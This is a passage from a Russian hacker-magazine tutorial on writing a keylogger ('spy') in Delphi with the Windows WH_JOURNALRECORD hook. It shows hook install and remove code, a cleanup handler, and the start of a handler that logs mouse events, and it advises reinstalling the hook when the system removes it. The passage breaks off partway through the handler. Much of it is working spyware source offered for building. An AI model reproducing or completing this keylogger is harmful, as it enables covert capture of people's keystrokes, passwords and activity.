ШПИОН ДЛЯ САМОГО СВЯТОГО ЗАЙЦЕВ ОЛЕГ Спецвыпуск: Хакер, номер #070, стр. 070-040-5 [от теории к практике] Рассмотрим несколько типовых примеров. В начале поговорим о шпионе на основе ловушки, построенного без применения DLL. Такой шпион использует ловушку типа WH_JOURNALRECORD, которая является системной, то есть функция-обработчик вызывается системой, причем в контексте потока, выполнившего установку ловушки. Практическое последствие: код ловушки на совершенно законных основаниях размещается в самой программе, а не в DLL. Это удобно, так как не требуется таскать лишние DLL. Кроме того, у хука типа WH_JOURNALRECORD есть еще один плюс: он регистрирует клавиатурные и мышиные события, что упрощает написание шпиона. Однако при всех плюсах есть и минусы: ловушка данного типа автоматом снимается системой при нажатии CTRL+ALT+DEL и CTRL+ESC – шпион должен отслеживать данную ситуацию и переустанавливать ловушку. Но пойдем по порядку. Для начала нам понадобится написать две функции: InstallHook для установки ловушки и RemoveHook для ее удаления. Функции, по сути, являются оберткой для API-функций SetWindowsHookEx и UnhookWindowsHookEx, но дополнены проверкой, блокирующей повторную установку или удаление ловушки. Переменная HookHandle предназначена для хранения хендла и изначально инициализируется значением INVALID_HANDLE_VALUE. function InstallHook : boolean; begin if HookHandle = INVALID_HANDLE_VALUE then HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, hInstance, 0); Result := HookHandle <> INVALID_HANDLE_VALUE; end; function RemoveHook : boolean; begin if HookHandle <> INVALID_HANDLE_VALUE then UnhookWindowsHookEx(HookHandle); HookHandle := INVALID_HANDLE_VALUE; Result := true; end; Следующим обязательным шагом является код, снимающий ловушку в момент завершения программы: procedure TForm1.FormDestroy(Sender: TObject); begin RemoveHook; end; Теперь можно приступить к написанию кода ловушки. Параметр nCode указывает ловушке на то, как интерпретировать остальные параметры. Если nCode равен HC_ACTION, то lParam должен интерпретироваться как указатель на структуру EVENTMSG. Значения HC_SYSMODALOFF и HC_SYSMODALON для нас не представляют интереса: они указывают на то, что создано (или разрушено) модальное окно уровня системы. Наш обработчик их просто игнорирует. function HookProc(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall; var EventMsg : PEventMsg; // Указатель EventMsg VirtCode : byte; // Виртуальный код ScanCode : dword; // Скан-код KeyState : TKeyboardState; // Состояние клавиатуры Tmp, S : string; // Временные переменные Res : integer; begin s := ''; if nCode = HC_ACTION then begin EventMsg := pointer(LParam); case EventMsg^.message of WM_LBUTTONDOWN : S := 'нажата левая кнопка мыши'; WM_RBUTTONDOWN : S := 'нажата правая кнопка мыши'; WM_LBUTTONUP : S := 'отпущена левая кнопка мыши'; WM_RBUTTONUP : S := 'отпущена правая кнопка мыши'; |